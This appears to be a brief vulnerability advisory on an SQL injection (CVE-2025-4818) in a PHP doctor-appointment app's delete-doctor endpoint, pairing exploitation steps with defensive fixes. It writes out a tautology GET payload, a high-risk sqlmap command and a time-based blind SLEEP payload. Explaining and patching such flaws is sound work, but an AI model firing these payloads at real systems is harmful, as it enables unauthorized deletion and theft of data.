How CVE-2025-4818 Works
This vulnerability exploits improper input sanitization in the `/admin/delete-doctor.php` endpoint, where the `ID` parameter is directly concatenated into an SQL query. Attackers can inject malicious SQL payloads via crafted GET requests, leading to unauthorized database access, data manipulation, or deletion. The lack of prepared statements or parameterized queries allows arbitrary SQL execution. Remote exploitation is possible without authentication, making it critical.

What Undercode Say:
Exploitation
1. Craft Malicious Request:
GET /admin/delete-doctor.php?ID=1%20OR%201=1-- HTTP/1.1 Host: target.com
2. SQLMap Automation:
sqlmap -u "http://target.com/admin/delete-doctor.php?ID=1" --risk=3 --level=5
3. Blind Injection Payload:
ID=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a)--
Protection
1. Input Validation:
if (!is_numeric($_GET['ID'])) { die("Invalid ID"); }
2. Prepared Statements:
$stmt = $conn->prepare("DELETE FROM doctors WHERE id = ?");
$stmt->bind_param("i", $_GET['ID']);
3. WAF Rules:
location ~ /admin/ {
deny all;
}
4. Patch Monitoring:
wget https://sourcecodester.com/patches/doctor-appointment-1.0.1.zip
5. Log Analysis:
grep "delete-doctor.php" /var/log/apache2/access.log | cut -d " " -f 1 | sort -u
6. Database Hardening:
REVOKE DELETE ON doctors FROM 'app_user'@'localhost';
